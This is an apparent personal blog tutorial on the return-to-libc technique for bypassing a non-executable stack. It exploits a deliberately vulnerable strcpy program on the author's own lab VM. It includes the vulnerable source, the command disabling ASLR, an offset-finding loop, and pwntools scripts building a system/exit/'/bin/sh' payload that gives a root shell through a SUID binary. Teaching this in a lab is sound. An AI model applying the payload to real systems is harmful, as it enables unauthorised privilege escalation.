Introduction

In this blog I will discuss a binary exploitation technique called Return-to-libc (https://en.wikipedia.org/wiki/Return-to-libc_attack), which can be used to bypass non-executable stacks (or NX Bit https://en.wikipedia.org/wiki/NX_bit).

NX (no-execute) bit is a protection against classic buffer overflow attacks such as I previously discussed (https://0x10f8.wordpress.com/2019/05/18/simple-buffer-overflows/). This protection marks the stack as non-executable so that even if we can overwrite the EIP to point to our shell code the shell code will never execute.

The return-to-libc attack circumvents this protection by overwriting the return address, not with an address pointing to our injected shell code but rather to a libc function call address.

The Target

As with my previous blog the target is a simple c program which outputs your name, this time given as an argument to the program.

#include <stdio.h> #include <string.h> void getname(char* arg) { /* Names can't be bigger than 256 chars! */ char name[256]; strcpy(name, arg); /* Output the name back to them */ printf("Hi %s

", name); } /* * My simple program will output your name back to you! */ int main(int argc, char* argv[]) { getname(argv[1]); return 0; }

This program is vulnerable for the same reasons as before, the character buffer name which holds the inputted text is 256 bytes long and this time the strcpy function will copy any length of string taken from argv[1] into the buffer. Any input entered beyond 256 bytes will begin to overwrite the stack and this can be used to overwrite the return EIP and other areas.

As before you will need to disable the OS level ASLR using:

echo 0 > /proc/sys/kernel/randomize_va_space

And this time we will compile the program without the disabling of the NX bit (-z execstack):

gcc -g -fno-stack-protector -o vulnerable_simple_ret2libc vulnerable_simple_ret2libc.c

Exploitation

Exploiting this will follow a similar process to a simple buffer overflow initally.

Firstly, I use some basic python/bash scripting on the vulnerable VM to find the point at which the program segmentation faults.

for i in $(seq 250 300);do ./vulnerable_simple_ret2libc $(python -c "print 'A' * $i") 1>&2>/dev/null;[ $? -eq 139 ] && echo $i && break; done;

This indicated the program crashed after 264 bytes of input or 0x108 hex.

Now I create a python script using pwntools which connects to my remote VM and attempts to send 0x108 cyclic characters to the binary in GDB.

from pwn import * import base64 context.update(arch='i386', os='linux') # Connect to the server with SSH ssh_connection = ssh('buffer', '192.168.0.14', password='password', port=22) # Open a shell to write more stuff to bash = ssh_connection.run('bash') # Find correct offset to overwrite EIP crash_at = 0x108 # Start debugging the vulnerable binary bash.sendline('gdb /home/buffer/vulnerable_simple_ret2libc') bash.sendline('unset env LINES') bash.sendline('unset env COLUMNS') bash.sendline('run ' + cyclic(crash_at)) # Send a cyclic string of known characters aaaa baaa caaa etc. bash.sendline() # Hand an interactive shell back to the user bash.interactive()

The resulting output indicates a segmentation fault occurred but that we have only partially overwritten the EIP. I adjust the cyclic buffer to 0x110 and try again.

Ok now this looks better, we have managed to overwrite the return address with 0x63616172 or ‘raac’.

Quick Referesher on Function Calls

When a function makes a call it uses a calling convention (https://en.wikipedia.org/wiki/Calling_convention). This allows the caller function to complete it’s work and return control back to the callee in the state it called the function in. Before a function call the stack might look like this:

The caller function then pushes the function arguments onto the stack. In our case the getname function pushes a single character pointer onto the stack.

The caller function then pushes it’s instruction pointer onto the stack, allowing it to continue execute from where it left off on returning.

The calling function then pushes it’s frame pointer (from where it references its own stack frame) onto the stack, so that it knows where its variables (and other stack info) is located after returning.

The callee frame pointer can then be set to the current stack location of the saved frame pointer, allowing arguments on the callee stack frame to be referenced from here.

Function arguments are then pushed onto the stack, in our case the name character buffer.

When the function returns the frame pointer is set to the content stored at the current frame pointer address and the instruction pointer to the content at $ebp+4 (the saved $eip).

So… how can we exploit this?

Well we know we can overwrite all of the stack as the strcpy function is not checking the length of the input we provide. Meaning we can overwrite all of the stored registers provided here.

In the classic buffer overflow we simple overwrite the return instruction pointer to point to an area of the stack we have written code, but with the NX bit enabled we can no longer do that.

As previously noted, the return-to-libc attack we instead overwrite the return address with the address of a libc function. But how would this work?

With a return-to-libc attack we actually construct our own “fake” stack frame, following the same principles we learned above. And in that way we can return into the libc function with the appropriate stack ready for it to use.

Return-to-libc Illustrated

So as described above, after the function is called we end up with our stack in the following state:

We then use the strcpy function to overflow data from the name variable into the return address.

In this case we can write the address of the system (libc) function, lets say that’s 0xb7e51b40. http://man7.org/linux/man-pages/man3/system.3.html

So now our caller function will return into the libc system function. The issue we have is that the stack is not in the correct state for the system function to operate. We need to perform the calling convention for it!

As previously discussed the calling function will push the arguments, then the return address, then the frame pointer onto the stack. When we enter the libc system function we better have the return address and the arguments for system right on the stack when we reach our (system function) return address.

So firstly we would extend our exploit input to include overwriting the arg arguments with the return address for the system function. We could overwrite this with basically anything and the program would simply crash after system returned, or we could use the libc exit function and have the program exit sensibly. Lets say the address of the exit function is 0xb7e457f0.

And now we overwrite the next part of the stack with whatever arguments we want system to execute. In our case we might want /bin/sh to run, so we would need to find an address in memory which referred to that string. Lets say that string happened to be located at the address 0xb7f748c8.

And in this way we have constructed our own stack frame with the return $eip set to the libc exit function and the system function argument set to /bin/sh. Which should get us a nice shell!

Back to Exploitation

Ok so now we understand how our return-to-libc attack is going to work we now need to know the address of the system function, exit function and the /bin/sh string. To find these we can use our binary launched in GDB. Since the current exploit script returns an interactive GDB session we will use that.

Using the command “print system” will print the location of the libc system function. Using the command “print exit” will print the location of the libc exit function. Finally to find the /bin/sh string we can use the command info proc map to find the memory locations for all of libc and then search that memory for the string we need:

info proc map searchmem /bin/sh <startoflibc> <endoflibc>

From this we can see the addresses are (note this is can only work as ASLR isn’t turned on or these would be different with different executions):

system – 0xb7e51b40

exit – 0xb7e457f0

/bin/sh – 0xb7f748c8

So now I modified the exploit script to use these addresses:

[…AAA]+[SYSTEM_FUNC_ADDR]+[EXIT_FUNC_ADDR]+[/bin/sh]

from pwn import * import base64 context.update(arch='i386', os='linux') # Connect to the server with SSH ssh_connection = ssh('buffer', '192.168.0.14', password='password', port=22) # Open a shell to write more stuff to bash = ssh_connection.run('bash') crash_at = 0x110 eip_crash = 0x63616172 eip_crash_buffer = cyclic_find(eip_crash) system = p32(0xb7e51b40) shell = p32(0xb7f748c8) exit = p32(0xb7e457f0) payload = b'' payload += (b'A' * eip_crash_buffer) # Overwrite the stack and EBP with junk payload += system # Overwrite the EIP with the system call payload += exit # Add the system call return address here on the stack payload += shell # Add the params for system with /bin/sh on the stack # Send the payload bash.sendline('gdb /home/buffer/vulnerable_simple_ret2libc') bash.sendline('unset env LINES') bash.sendline('unset env COLUMNS') # Send the payload by encoding to base64 and decoding when using it to avoid issues posted weird bytes to bash bash.sendline(b'run $(echo -n ' + base64.b64encode(payload) + b' | base64 -d)') bash.sendline(payload) # Hand an interactive shell back to the user bash.interactive()

And it looks like we have a shell!

I took the payload in base64 over to the vulnerable machine and tested it there (as the SUID bit would work when called directly instead of through GDB).

And yes it did work, we now have a root shell!

References:

https://sploitfun.wordpress.com/2015/05/08/bypassing-nx-bit-using-return-to-libc/